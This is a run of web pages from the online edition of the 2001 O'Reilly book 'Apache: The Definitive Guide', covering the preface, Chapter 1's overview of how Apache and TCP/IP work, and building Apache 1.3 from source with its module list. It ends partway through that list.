  • They are not doing the bit that programmers hate: explaining to end users why their treasure isn't working and trying to fix it in 10 minutes flat. If you want support on Apache you have to consult one of several commercial organizations (see Appendix A, "Support Organizations"), who, quite properly, want to be paid for doing the work everyone loathes.

Previous | Home | Next
Copyright Page | Book Index | 0.2. The Demonstration CD-ROM
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Demonstration CD-ROM (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

0.2. The Demonstration CD-ROM

The content of the CD-ROM that accompanies the print book is located in the directory cd_demo, and can be read by both Win32 and Unix systems. It contains the demonstration web sites referred to throughout the book. These are organized into two directories:

install/

This directory contains scripts to install the sample sites:

  • install -- Run this script to install the sites.

  • install.conf -- Unix configuration file for install.

  • installwin.conf -- Win32 configuration file for install.

sites/

This directory contains the sample sites used in the book.

Previous | Home | Next
0. Preface | Book Index | 0.3. Conventions Used in This Book
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

0.5. Acknowledgments

First, thanks to Robert S. Thau, who gave the world the Apache API and the code that implements it, and to the Apache Group, who worked on it before and have worked on it since. Thanks to Eric Young and Tim Hudson for giving SSLeay to the Web.

Thanks to Bryan Blank, Aram Mirzadeh, Chuck Murcko, and Randy Terbush, who read early drafts of the first edition text and made many useful suggestions; and to John Ackermann, Geoff Meek, and Shane Owenby, who did the same for the second edition. Thanks to Paul C. Kocher for allowing us to reproduce SSL Protocol, Version 3.0, in Appendix D, "SSL Protocol ", and to Netscape Corporation for allowing us to reproduce echo.c in Appendix B, "The echo Program ".

We would also like to offer special thanks to Andrew Ford for giving us permission to reprint his Apache Quick Reference Card.

Many thanks to Robert Denn, our editor at O'Reilly, who patiently turned our text into a book -- again. The two layers of blunders that remain are our own contribution.

And finally, thanks to Camilla von Massenbach and Barbara Laurie, who have continued to put up with us while we rewrote this book.

Previous | Home | Next
0.4. Organization of This Book | Book Index | 1. Getting Started
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Getting Started (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 1. Getting Started

Contents:

How Does Apache Work?
What to Know About TCP/IP
How Does Apache Use TCP/IP?
What the Client Does
What Happens at the Server End?
Which Unix?
Which Apache?
Making Apache Under Unix
Apache Under Windows
Apache Under BS2000/OSD and AS/400

When you connect to the URL of someone's home page -- say the notional http://www.butterthlies.com/ we shall meet later on -- you send a message across the Internet to the machine at that address. That machine, you hope, is up and running, its Internet connection is working, and it is ready to receive and act on your message.

URL stands for Universal Resource Locator. A URL such as http://www.butter-thlies.com/ comes in three parts:

<method>://<host>/<absolute path URL (apURL)>

So, in our example, < method> is http, meaning that the browser should use HTTP (Hypertext Transfer Protocol); <host> is www.butterthlies.com; and <apURL> is "/ ", meaning the top directory of the host. Using HTTP/1.1, your browser might send the following request:

GET / HTTP/1.1
Host: www.butterthlies.com

The request arrives at port 80 (the default HTTP port) on the host www.butterthlies.com. The message is again in three parts: a method (an HTTP method, not a URL method), that in this case is GET, but could equally be PUT, POST, DELETE, or CONNECT; the Uniform Resource Identifier (URI) "/"; and the version of the protocol we are using. It is then up to the web server running on that host to make something of this message.

It is worth saying here -- and we will say it again -- that the whole business of a web server is to translate a URL either into a filename, and then send that file back over the Internet, or into a program name, and then run that program and send its output back. That is the meat of what it does: all the rest is trimming.

The host machine may be a whole cluster of hypercomputers costing an oil sheik's ransom, or a humble PC. In either case, it had better be running a web server, a program that listens to the network and accepts and acts on this sort of message.

What do we want a web server to do? It should:

  • Run fast, so it can cope with a lot of inquiries using a minimum of hardware.

  • Be multitasking, so it can deal with more than one inquiry at once.

  • Be multitasking, so that the person running it can maintain the data it hands out without having to shut the service down. Multitasking is hard to arrange within a program: the only way to do it properly is to run the server on a multitasking operating system. In Apache's case, this is some flavor of Unix (or Unix-like system), Win32, or OS/2.

  • Authenticate inquirers: some may be entitled to more services than others. When we come to virtual cash, this feature (see Chapter 13, "Security") becomes essential.

  • Respond to errors in the messages it gets with answers that make sense in the context of what is going on. For instance, if a client requests a page that the server cannot find, the server should respond with a "404" error, which is defined by the HTTP specification to mean "page does not exist."

  • Negotiate a style and language of response with the inquirer. For instance, it should -- if the people running the server can rise to the challenge -- be able to respond in the language of the inquirer's choice. This ability, of course, can open up your site to a lot more action. And there are parts of the world where a response in the wrong language can be a bad thing. If you were operating in Canada, where the English/French divide arouses bitter feelings, or in Belgium, where the French/Flemish split is as bad, this feature could make or break your business.

  • Offer different formats. On a more technical level, a user might want JPEG image files rather than GIF, or TIFF rather than either of the former. He or she might want text in vdi format rather than PostScript.

  • Run as a proxy server. A proxy server accepts requests for clients, forwards them to the real servers, and then sends the real servers' responses back to the clients. There are two reasons why you might want a proxy server:

    • The proxy might be running on the far side of a firewall (see Chapter 13, "Security"), giving its users access to the Internet.

    • The proxy might cache popular pages to save reaccessing them.

    • Be secure. The Internet world is like the real world, peopled by a lot of lambs and a few wolves.[2] The wolves like to get into the lambs' folds (of which your computer is one) and, when there, raven and tear in the usual wolfish way. The aim of a good server is to prevent this happening. The subject of security is so important that we will come back to it several times before we are through.

      [2]We generally follow the convention of calling these people the Bad Guys. This avoids debate about "hackers," which, to many people, simply refers to good programmers, but to some means Bad Guys. We discover from the French edition of this book that in France they are Sales Types -- dirty fellows.

These are services that the developers of Apache think a server should offer. There are people who have other ideas, and, as with all software development, there are lots of features that might be nice -- features someone might use one day, or that might, if put into the code, actually make it work better instead of fouling up something else that has, until then, worked fine. Unless developers are careful, good software attracts so many improvements that it eventually rolls over and sinks like a ship caught in an Arctic ice storm.

Some ideas are in progress: in particular, various proposals for Apache 2.0 are being kicked around. The main features Apache 2.0 is supposed to have are multithreading (on platforms that support it), layered I/O, and a rationalized API.

If you have bugs to report or more ideas for development, look at http://www.apache.org/bug_report.html. You can also try news:comp.infosystems.www.servers.unix, where some of the Apache team lurk, along with many other knowledgeable people, and news:comp.infosystems.www.servers.ms-windows.

1.1. How Does Apache Work?

Apache is a program that runs under a suitable multitasking operating system. In the examples in this book, the operating systems are Unix and Windows 95/98/NT, which we call Win32. The binary is called httpd under Unix and apache.exe under Win32[3] and normally runs in the background. Each copy of httpd/apache that is started has its attention directed at a web site , which is, for practical purposes, a directory. For an example, look at site.toddle on the demonstration CD-ROM. Regardless of operating system, a site directory typically contains four subdirectories:

[3]This double name is rather annoying, but it seems that life has progressed too far for anything to be done about it. We will, rather clumsily, refer to httpd/apache and hope that the reader can pick the right one.

conf

Contains the configuration file(s), of which httpd.conf is the most important. It is referred to throughout this book as the Config file.

htdocs

Contains the HTML scripts to be served up to the site's clients. This directory and those below it, the web space, are accessible to anyone on the Web and therefore pose a severe security risk if used for anything other than public data.

logs

Contains the log data, both of accesses and errors.

cgi-bin

Contains the CGI scripts. These are programs or shell scripts written by or for the webmaster that can be executed by Apache on behalf of its clients. It is most important, for security reasons, that this directory not be in the web space.

In its idling state, Apache does nothing but listen to the IP addresses and TCP port or ports specified in its Config file. When a request appears on a valid port, Apache receives the HTTP request and analyzes the headers. It then applies the rules it finds in the Config file and takes the appropriate action.

The webmaster's main control over Apache is through the Config file. The webmaster has some 150 directives at his or her disposal; most of this book is an account of what these directives do and how to use them to reasonable advantage. The webmaster also has half a dozen flags he or she can use when Apache starts up. Apache is freeware : the intending user downloads the source code and compiles it (under Unix) or downloads the executable (for Windows) from www.apache.org or a suitable mirror site. You can also load the source code from the demonstration CD-ROM included with this book, although it is not the most recent. Although it sounds like a difficult business to download the source code and configure and compile it, it only takes about 20 minutes and is well worth the trouble.

Figure 1.1 Under Unix, the webmaster also controls which modules are compiled into Apache. Each module provides the code to execute a number of directives. If there is a group of directives that aren't needed, the appropriate modules can be left out of the binary by commenting their names out in the configuration file [4] that controls the compilation of the Apache sources. Discarding unwanted modules reduces the size of the binary and may improve performance.

[4]It is important to distinguish between the configuration file used at compile time and the Config file used to control the operation of a web site.

Figure 1.1 Under Windows, Apache is normally precompiled as an executable. The core modules are compiled in, and others are loaded, if needed, as dynamic link libraries (DLLs) at runtime, so control of the executable's size is less urgent. The DLLs supplied in the .../apache/modules subdirectory are as follows:

APACHE~1 DLL         5,120  19/07/98  11:47 ApacheModuleAuthAnon.dll
APACHE~2 DLL         5,632  19/07/98  11:48 ApacheModuleCERNMeta.dll
APACHE~3 DLL         6,656  19/07/98  11:47 ApacheModuleDigest.dll
APACHE~4 DLL         6,144  19/07/98  11:48 ApacheModuleExpires.dll
APACHE~5 DLL         5,120  19/07/98  11:48 ApacheModuleHeaders.dll
APACHE~6 DLL        46,080  19/07/98  11:48 ApacheModuleProxy.dll
APACHE~7 DLL        35,328  19/07/98  11:48 ApacheModuleRewrite.dll
APACHE~8 DLL         6,656  19/07/98  11:48 ApacheModuleSpeling.dll
APACHE~9 DLL        10,752  19/07/98  11:47 ApacheModuleStatus.dll
APACH~10 DLL         6,144  19/07/98  11:48 ApacheModuleUserTrack.dll

Figure 1.1 What these are and what they do will become more apparent as we proceed. You can add other DLLs from outside suppliers; more will doubtless become available.

Figure 1.1 It is also possible to download the source code and compile it for Win32 using Microsoft Visual C++ v5.0. We describe this in Section 1.9, "Apache Under Windows", later in this chapter. You might do this if you wanted to write your own module (see Chapter 15, "Writing Apache Modules").

Previous | Home | Next
0.5. Acknowledgments | Book Index | 1.2. What to Know About TCP/IP
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What to Know About TCP/IP (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

1.2. What to Know About TCP/IP

To understand the substance of this book, you need a modest knowledge of what TCP/IP is and what it does. You'll find more than enough information in Craig Hunt and Robert Bruce Thompson's books on TCP/IP,[5] but what follows is, we think, what is necessary to know for our book's purposes.

[5]Windows NT TCP/IP Network Administration, by Craig Hunt and Robert Bruce Thompson (O'Reilly & Associates), and TCP/IP Network Administration, Second Edition, by Craig Hunt (O'Reilly & Associates).

TCP/IP (Transmission Control Protocol/Internet Protocol) is a set of protocols enabling computers to talk to each other over networks. The two protocols that give the suite its name are among the most important, but there are many others, and we shall meet some of them later. These protocols are embodied in programs on your computer written by someone or other; it doesn't much matter who. TCP/IP seems unusual among computer standards in that the programs that implement it actually work, and their authors have not tried too much to improve on the original conceptions.

TCP/IP only applies where there is a network. Each computer on a network that wants to use TCP/IP has an IP address , for example, 192.168.123.1.

There are four parts in the address, separated by periods. Each part corresponds to a byte, so the whole address is four bytes long. You will, in consequence, seldom see any of the parts outside the range -255.

Although not required by protocol, by convention there is a dividing line somewhere inside this number: to the left is the network number and to the right, the host number. Two machines on the same physical network -- usually a local area network (LAN) -- normally have the same network number and communicate directly using TCP/IP.

How do we know where the dividing line is between network number and host number? The default dividing line is determined by the first of the four numbers: if the value of the first number is:

  • 0-127 (first byte is 0xxxxxxx binary), the dividing line is after the first number, and it is a Class A network. There are few class A networks -- 125 usable ones -- but each one supports up to 16,777,214 hosts.

  • 128-191 (first byte is 10xxxxxx binary), the dividing line is after the second number, and it is a Class B network. There are more class B networks -- 16,382 -- and each one can support up to 65,534 hosts.

  • 192-223 (first byte is 110xxxxx binary), the dividing line is after the third number, and it is a Class C network. There is a huge number of class C networks -- 2,097,150 -- but each one supports a paltry 254 hosts.

The remaining values of the first number, 224-255, are not relevant here. Network numbers -- the left-hand part -- that are all 0s[6] or all 1s[7] in binary are reserved and therefore not relevant to us either. These addresses are as follows:

[6]An all-0 network address means "this network." This is defined in STD 5 (RFC 791).

[7]An all-1 network address means "broadcast." This is also defined in STD 5 (RFC 922). In practice, broadcast network addresses are not very useful, and, indeed, some of these "reserved" addresses have already been used for other purposes; for example, 127.0.0.1 means "this machine," by convention.

  • 0.x.x.x

  • 127.x.x.x

  • 128.0.x.x

  • 191.255.x.x

  • 192.0.0.x

  • 223.255.255.x

It is often possible to bypass the rules of Class A, B, and C networks using subnet masks . These allow us to further subdivide the network by using more of the bits for the network number and less for the host number. Their correct use is rather technical, so we leave it to the experts.

You do not need to know this information in order to run a host, because the numbers you deal with are assigned to you by your network administrator or are just facts of the Internet. But we feel you should have some understanding in order to avoid silly conversations with people who do know about TCP/IP. It is also relevant to virtual hosting because each virtual host (see Chapter 3, "Toward a Real Web Site") must have its own IP address (at least until HTTP/1.1 is in wide use).

Now we can think about how two machines with IP addresses X and Y talk to each other. If X and Y are on the same network, and are correctly configured so that they have the same network number and different host numbers, they should be able to fire up TCP/IP and send packets to each other down their local, physical network without any further ado.

If the network numbers are not the same, TCP/IP sends the packets to a router , a special machine able, by processes that do not concern us here, to find out where the other machine is and deliver the packets to it. This communication may be over the Internet or might occur on your wide area network (WAN).

There are two ways computers use TCP/IP to communicate:

UDP (User Datagram Protocol)

A way to send a single packet from one machine to another. It does not guarantee delivery, and there is no acknowledgment of receipt. It is nasty for our purposes, and we don't use it.

TCP (Transmission Control Protocol)

A way to establish communications between two computers. It reliably delivers messages of any size. This is a better protocol for our purposes.

Previous | Home | Next
1. Getting Started | Book Index | 1.3. How Does Apache Use TCP/IP?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


How Does Apache Use TCP/IP? (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

1.3. How Does Apache Use TCP/IP?

Let's look at a server from the outside. We have a box in which there is a computer, software, and a connection to the outside world -- a piece of Ethernet or a serial line to a modem, for example. This connection is known as an interface and is known to the world by its IP address. If the box had two interfaces, they would each have an IP address, and these addresses would normally be different. One interface, on the other hand, may have more than one IP address (see Chapter 3, "Toward a Real Web Site").

Requests arrive on an interface for a number of different services offered by the server using different protocols:

  • Network News Transfer Protocol (NNTP): news

  • Simple Mail Transfer Protocol (SMTP): mail

  • Domain Name Service (DNS)

  • HTTP: World Wide Web

The server can decide how to handle these different requests because the four-byte IP address that leads the request to its interface is followed by a two-byte port number. Different services attach to different ports:

  • NNTP: port number 119

  • SMTP: port number 25

  • DNS: port number 53

  • HTTP: port number 80

As the local administrator or webmaster, you can (if you really want) decide to attach any service to any port. Of course, if you decide to step outside convention, you need to make sure that your clients share your thinking. Our concern here is just with WWW and Apache. Apache, by default, listens to port number 80 because it deals in WWW business.

Figure 1.3 Port numbers below 1024 can only be used by the superuser (root, under Unix); this prevents other users from running programs masquerading as standard services, but brings its own problems, as we shall see.

Figure 1.3 Under Win32 there is currently no real security beyond what you can provide yourself (using file permissions) and no superuser (at least, not as far as port numbers are concerned).

This is fine if our machine is providing only one web server to the world. In real life, you may want to host several, many, dozens, or even hundreds of servers, which appear to the world to be completely different from each other. This situation was not anticipated by the authors of HTTP/1.0, so handling a number of hosts on one machine has to be done by a kludge, which is to assign multiple addresses to the same interface and distinguish the virtual host by its IP address. This technique is known as IP-intensive virtual hosting. Using HTTP/1.1, virtual hosts may be created by assigning multiple names to the same IP address. The browser sends a Host header to say which name it is using.

1.3.1. Multiple Sites: Unix

By happy accident, the crucial Unix utility ifconfig , which binds IP addresses to physical interfaces, often allows the binding of multiple IP numbers so that people can switch from one IP number to another and maintain service during the transition.

In practical terms, on many versions of Unix, we run ifconfig to give multiple IP addresses to the same interface. The interface in this context is actually the bit of software -- the driver -- that handles the physical connection (Ethernet card, serial port, etc.) to the outside. While writing this book, we accessed the practice sites through an Ethernet connection between a Windows 95 machine (the client) and a FreeBSD box (the server) running Apache.[8]

[8]Our environment was very untypical, since the whole thing sat on a desktop with no access to the Web. The FreeBSD box was set up using ifconfig in a script lan_setup, which contained the following lines:

ifconfig ep0 192.168.123.2
ifconfig ep0 192.168.123.3 alias netmask 0xFFFFFFFF
ifconfig ep0 192.168.124.1 alias
The first line binds the IP address 192.168.123.2 to the physical interface ep0. The second binds an alias of 192.168.123.3 to the same interface. We used a subnet mask (netmask 0xFFFFFFFF) to suppress a tedious error message generated by the FreeBSD TCP/IP stack. This address was used to demonstrate virtual hosts. We also bound yet another IP address, 192.168.124.1, to the same interface, simulating a remote server in order to demonstrate Apache's proxy server. The important feature to note here is that the address 192.168.124.1 is on a different IP network from the address 192.168.123.2, even though it shares the same physical network. No subnet mask was needed in this case, as the error message it suppressed arose from the fact that 192.168.123.2 and 192.168.123.3 are on the same network.

Unfortunately, each Unix implementation tends to do this slightly differently, so these commands may not work on your system. Check your manuals!

In real life, we do not have much to do with IP addresses. Web sites (and Internet hosts generally) are known by their names, such as www.butterthlies.com or sales.butterthlies.com, which we shall meet later. On the authors' system, these names both translate into 192.168.123.2.

1.3.2. Multiple Sites: Win32

As far as we can discern, it is not possible to assign multiple IP addresses to a single interface under a standard Windows 95 system. On Windows NT it can be done via Control Panel [image] Networks [image] Protocols [image] TCP/IP/Properties... IP Address [image] Advanced. This means, of course, that IP-intensive virtual hosting is not possible on Windows 95.

Previous | Home | Next
1.2. What to Know About TCP/IP | Book Index | 1.4. What the Client Does
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What the Client Does (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

1.4. What the Client Does

Once the server is set up, we can get down to business. The client has the easy end: it wants web action on a particular URL such as http://www.apache.org/. What happens?

The browser observes that the URL starts with http: and deduces that it should be using the HTTP protocol. The "//" says that the URL is absolute,[9] that is, not relative to some other URL. The next part must be the name of the server, www.apache.org. The client then contacts a name server, which uses DNS to resolve this name to an IP address. At the time of writing, this address was 204.152.144.38. One way to check the validity of a hostname is to go to the operating-system prompt[10] and type:

[9]Relevant RFCs are 1808, Relative URLs, and 1738, URLs.

[10]The operating-system prompt is likely to be ">" (Win95) or "%" (Unix). When we say, for instance, "Type % ping," we mean, "When you see `%', type `ping'."

> ping -c 5 www.apache.org

or:

% ping -c 5 www.apache.org

If that host is connected to the Internet, a response is returned:

PING www.apache.org (204.152.144.38): 56 data bytes
64 bytes from taz.apache.org (204.152.144.38): icmp_seq=0 ttl=247 time=1380 ms
64 bytes from taz.apache.org (204.152.144.38): icmp_seq=1 ttl=247 time=1930 ms
64 bytes from taz.apache.org (204.152.144.38): icmp_seq=2 ttl=247 time=1380 ms
64 bytes from taz.apache.org (204.152.144.38): icmp_seq=3 ttl=247 time=1230 ms
64 bytes from taz.apache.org (204.152.144.38): icmp_seq=4 ttl=247 time=1360 ms
--- www.apache.org ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/
    max = 1230/1456/1930 ms

The web address http://www.apache.org doesn't include a port because it is port 80, the default, and the browser takes it for granted. If some other port is wanted, it is included in the URL after a colon -- for example, http://www.apache.org:8000/. The URL always includes a path, even if is only "/". If the path is left out by the careless user, most browsers put it back in. If the path were /some/where/foo.html on port 8000, the URL would be http://www.apache.org:8000/some/where/foo.html.

The client now makes a TCP connection to port number 8000 on IP 204.152.144.38, and sends the following message down the connection (if it is using HTTP/1.0):

GET /some/where/foo.html HTTP/1.0<CR><LF><CR><LF>

These carriage returns and line feeds (CRLF) are very important because they separate the HTML header from its body. If the request were a POST, there would be data following. The server sends the response back and closes the connection. To see it in action, connect again to the Internet, get a command-line prompt, and type the following:

% telnet www.apache.org 80
> telnet www.apache.org 80

Since telnet also requires CRLF as the end of every line, it sends the right thing for you when you hit the Return key. Some implementations of telnet rather unnervingly don't echo what you type to the screen, so it seems that nothing is happening. Nevertheless, a whole mess of response streams past:

GET /announcelist.html HTTP/1.0
HTTP/1.1 200 OK
Date: Sun, 15 Dec 1996 13:45:40 GMT
Server: Apache/1.3
Connection: close
Content-Type: text/html
Set-Cookie: Apache=arachnet784985065755545; path=/
<HTML>
<HEAD>
<TITLE>Join the Apache-Users Mailing List</TITLE>
</HEAD>
<BODY>
<IMG SRC="images/apache_sub.gif" ALT="">
<H1>Join the Apache-Announce Mailing List</H1>
<P>
The <code>apache-announce</code> mailing list has been set up to inform
people of new code releases, bug fixes, security fixes, and general
news and information about the Apache server. Most of this
information will also be posted to comp.infosystems.www.servers.unix,
but this provides a more timely way of accessing that information.
The mailing list is one-way, announcements only.
<P>
To subscribe, send a message to
<code><b>majordomo@apache.org</b></code> with the words "subscribe
apache-announce" in the body of the message. Nope, we don't have a web
form for this because frankly we don't trust people to put the right
address. <img src="images/smiley.xbm">
<A HREF="index"><IMG SRC="images/apache_home.gif" ALT="Home"></A>
</BODY></HTML>
Connection closed by foreign host.
Previous | Home | Next
1.3. How Does Apache Use TCP/IP? | Book Index | 1.5. What Happens at the Server End?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What Happens at the Server End? (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

1.5. What Happens at the Server End?

We assume that the server is well set up and running Apache. What does Apache do? In the simplest terms, it gets a URL from the Internet, turns it into a filename, and sends the file (or its output)[12] back down the Internet. That's all it does, and that's all this book is about!

[12]Usually. We'll see later that some URLs may refer to information generated completely within Apache.

Three main cases arise:

  • Figure 1.5 The Unix server has a standalone Apache that listens to one or more ports (port 80 by default) on one or more IP addresses mapped onto the interfaces of its machine. In this mode (known as standalone mode ), Apache actually runs several copies of itself to handle multiple connections simultaneously.

  • Figure 1.5 The server is configured to use the Unix utility inetd , which listens on all ports it is configured to handle. When a connection comes in, it determines from its configuration file, /etc/inetd.conf, which service that port corresponds to and runs the configured program, which can be an Apache in inetd mode. It is worth noting that some of the more advanced features of Apache are not supported in this mode, so it should only be used in very simple cases. Support for this mode may well be removed in future releases of Apache.

  • Figure 1.5 On Windows, there is a single process with multiple threads. Each thread services a single connection. This currently limits Apache to 64 simultaneous connections, because there's a system limit of 64 objects for which you can wait at once. This is something of a disadvantage because a busy site can have several hundred simultaneous connections. It will probably be improved in Apache 2.0.

All the cases boil down to an Apache with an incoming connection. Remember our first statement in this section, namely, that the object of the whole exercise is to resolve the incoming request into a filename, a script, or some data generated internally on the fly. Apache thus first determines which IP address and port number were used by asking the operating system where the connection is connecting to. Apache then uses the IP address, port number -- and the Host header in HTTP/1.1 -- to decide which virtual host is the target of this request. The virtual host then looks at the path, which was handed to it in the request, and reads that against its configuration to decide on the appropriate response, which it then returns.

Most of this book is about the possible appropriate responses and how Apache decides which one to use.

Previous | Home | Next
1.4. What the Client Does | Book Index | 1.6. Which Unix?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Which Unix? (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

1.6. Which Unix?

We experimented with SCO Unix and QNX, which both support Apache, before settling on FreeBSD as the best environment for this exercise. The whole of FreeBSD is available -- free -- from http://www.freebsd.org, but sending $69.95 (plus shipping) to Walnut Creek (at http://www.cdrom.com) gets you four CD-ROMs with more software on them than you can shake a stick at, including all the source code, plus a 1750-page manual that should just about get you going. Without Walnut Creek's manual, we think FreeBSD would cost a lot more than $69.95 in spiritual self-improvement.

If you use FreeBSD, you will find (we hope) that it installs from the CD-ROM easily enough, but that it initially lacks several things you will need later. Among these are Perl, Emacs, and some better shell than sh (we like bash and ksh), so it might be sensible to install them straightaway from their lurking places on the CD-ROM.

Linux supports Apache, and most of the standard distributions include it. However, the default position of the Config files may vary from platform to platform, though usually on Linux they are to be found in /etc.

Previous | Home | Next
1.5. What Happens at the Server End? | Book Index | 1.7. Which Apache?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Which Apache? (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

1.7. Which Apache?

Apache 1.3 was released, although in rather a partial form, in July 1998. The Unix version was in good shape; the Win32 version of 1.3 was regarded by the Apache Group as essentially beta software.

The main problem with the Win32 version of Apache lies in its security, which must depend, in turn, on the security of the underlying operating system. Unfortunately, Win95 and its successors have no effective security worth mentioning. Windows NT has a large number of security features, but they are poorly documented, hard to understand, and have not been subjected to the decades of discussion, testing, and hacking that have forged Unix security into a fortress that can pretty well be relied upon.

In the view of the Apache development group, the Win32 version is useful for easy testing of a proposed web site. But if money is involved, you would be foolish not to transfer the site to Unix before exposure to the public and the Bad Guys.

We suggest that if you are working under Unix you go for Version 1.3.1 or later; if under Win32, go for the latest beta release and expect to ride some bumps.

Previous | Home | Next
1.6. Which Unix? | Book Index | 1.8. Making Apache Under Unix
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Making Apache Under Unix (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

1.8. Making Apache Under Unix

Download the most recent Apache source code from a suitable mirror site: a list can be found at http://www.apache.org/.[13] You can also load an older version from the enclosed CD-ROM. You will get a compressed file, with the extension .gz if it has been gzipped, or .Z if it has been compressed. Most Unix software available on the Web (including the Apache source code) is compressed using gzip, a GNU compression tool. If you don't have a copy, you will find one on our CD, or you can get it from the Web.

[13]It is best to download it, so you get the latest version with all its bug fixes and security patches.

When expanded, the Apache .tar file creates a tree of subdirectories. Each new release does the same, so you need to create a directory on your FreeBSD machine where all this can live sensibly. We put all our source directories in /usr/local/etc/apache. Go there, copy the <apachename>.tar.gz or <apachename>.tar.Z file, and uncompress the .Z version or gunzip (or gzip -d ) the .gz version:

uncompress <apachename>.tar.Z

or:

gzip -d <apachename>.tar.gz

Make sure that the resulting file is called <apachename>.tar, or tar may turn up its nose. If not, type:

mv <apachename> <apachename>.tar

Now unpack it: [14]

[14]If you are using GNU tar, it is possible to uncompress and unpack in one step: tar zxvf <apachename>.tar.gz.

% tar xvf <apachename>.tar

The file will make itself a subdirectory, such as apache_1.3.1. Keep the .tar file because you will need to start fresh to make the SSL version. Get into the .src directory. There are a number of files with names in capital letters, like README, that look as if you ought to read them. The KEYS file contains the PGP keys of various Apache Group members. It is more useful for checking future downloads of Apache than the current one (since a Bad Guy will obviously have replaced the KEYS file with his own). The distribution may have been signed by one or more Apache Group members.

1.8.1. Out of the Box

Until Apache 1.3, there was no real out-of-the-box batch-capable build and installation procedure for the complete Apache package. This is now provided by a top-level configure script and a corresponding top-level Makefile.tmpl file. The goal is to provide a GNU Autoconf-style front end that is capable of driving the old src/Configure stuff in batch and that additionally installs the package with a GNU- conforming directory layout.[15] Any options from the old configuration scheme are available, plus a lot of new options for flexibly customizing Apache. To run it, simply type:

[15]At least, some say it is conforming.

./configure
cd src
make

It has to be said that if we had read the apache/INSTALL file first, we would not have tried, because it gives an unjustified impression of the complexity involved. However, INSTALL does conceal at least one useful trick: because almost everything can be specified on the command line, you can create a shell script that configures your favorite flavor of Apache, and you never have to edit Configuration again. If you have to make a lot of different versions of Apache, this method has its advantages. However, the result, for some reason, produces an httpd that expects all the default directories to be different from those described in this book -- for instance, /usr/local/apache/etc/httpd.conf instead of /usr/local/apache/conf/httpd.conf. Until this is fixed, we would suggest running:

./configure  -- compat

or relying on the method in the next section.

1.8.2. Semimanual Method

Start off by reading README in the top directory. This tells you how to compile Apache. The first thing it wants you to do is to go to the src subdirectory and read INSTALL. To go further you must have an ANSI C-compliant compiler. A C++ compiler may not work.

If you have downloaded a beta test version, you first have to copy .../src/Configuration.tmpl to Configuration. We then have to edit Configuration to set things up properly. The whole file is in Appendix A of the installation kit. A script called Configure then uses Configuration and Makefile.tmpl to create your operational Makefile . (Don't attack Makefile directly; any editing you do will be lost as soon as you run Configure again.)

It is usually only necessary to edit the Configuration file to select the modules required (see the next section). Alternatively, you can specify them on the command line. The file will then automatically identify the version of Unix, the compiler to be used, the compiler flags, and so forth. It certainly all worked for us under FreeBSD without any trouble at all.

Configuration has five kinds of things in it:

  • Comment lines starting with "#"

  • Rules starting with the word Rule

  • Commands to be inserted into Makefile , starting with nothing

  • Module selection lines beginning with AddModule, which specify the modules you want compiled and enabled

  • Optional module selection lines beginning with %Module, which specify modules that you want compiled but not enabled until you issue the appropriate directive

For the moment, we will only be reading the comments and occasionally turning a comment into a command by removing the leading #, or vice versa. Most comments are in front of optional module inclusion lines.

1.8.3. Modules

These modules are self-contained sections of source code dealing with various functions of Apache that can be compiled in or left out. You can also write your own module if you want. Inclusion of modules is done by uncommenting (removing the leading #) lines in Configuration. The only drawback to including more modules is an increase in the size of your binary and an imperceptible degradation in performance.[16]

[16]Assuming the module has been carefully written, it does very little unless enabled in the httpd.conf files.

The default Configuration file includes the modules listed here, together with a lot of chat and comment that we have removed for clarity. Modules that are compiled into the Win32 core are marked with "W"; those that are supplied as a standard Win32 are marked DLL "WD." Our final list is as follows:

AddModule modules/standard/mod_env.o

Sets up environment variables to be passed to CGI scripts.

AddModule modules/standard/mod_log_config.o

Determines logging configuration.

AddModule modules/standard/mod_mime_magic.o

Determines the type of a file.

AddModule modules/standard/mod_mime.o

Maps file extensions to content types.

AddModule modules/standard/mod_negotiation.o

Allows content selection based on Accept headers.

AddModule modules/standard/mod_status.o (WD)

Gives access to server status information.

AddModule modules/standard/mod_info.o

Gives access to configuration information.

AddModule modules/standard/mod_include.o

Translates server-side include statements in CGI texts.

AddModule modules/standard/mod_autoindex.o

Indexes directories without an index file.

AddModule modules/standard/mod_dir.o

Handles requests on directories and directory index files.

AddModule modules/standard/mod_cgi.o

Executes CGI scripts.

AddModule modules/standard/mod_asis.o

Implements .asis file types.

AddModule modules/standard/mod_imap.o

Executes imagemaps.

AddModule modules/standard/mod_actions.o

Specifies CGI scripts to act as handlers for particular file types.

AddModule modules/standard/mod_speling.o

Corrects common spelling mistakes in requests.

AddModule modules/standard/mod_userdir.o

Selects resource directories by username and a common prefix.

AddModule modules/proxy/libproxy.o

Allows Apache to run as a proxy server; should be commented out if not needed.

AddModule modules/standard/mod_alias.o

Provides simple URL translation and redirection.

AddModule modules/standard/mod_rewrite.o (WD)

Rewrites requested URIs using specified rules.

AddModule modules/standard/mod_access.o

Provides access control.

AddModule modules/standard/mod_auth.o

Provides authorization control.

AddModule modules/standard/mod_auth_anon.o (WD)

Provides FTP-style anonymous username password authentication.

AddModule modules/standard/mod_auth_db.o

Manages a database of passwords; alternative to mod_auth_dbm.o.

AddModule modules/standard/mod_cern_meta.o (WD)

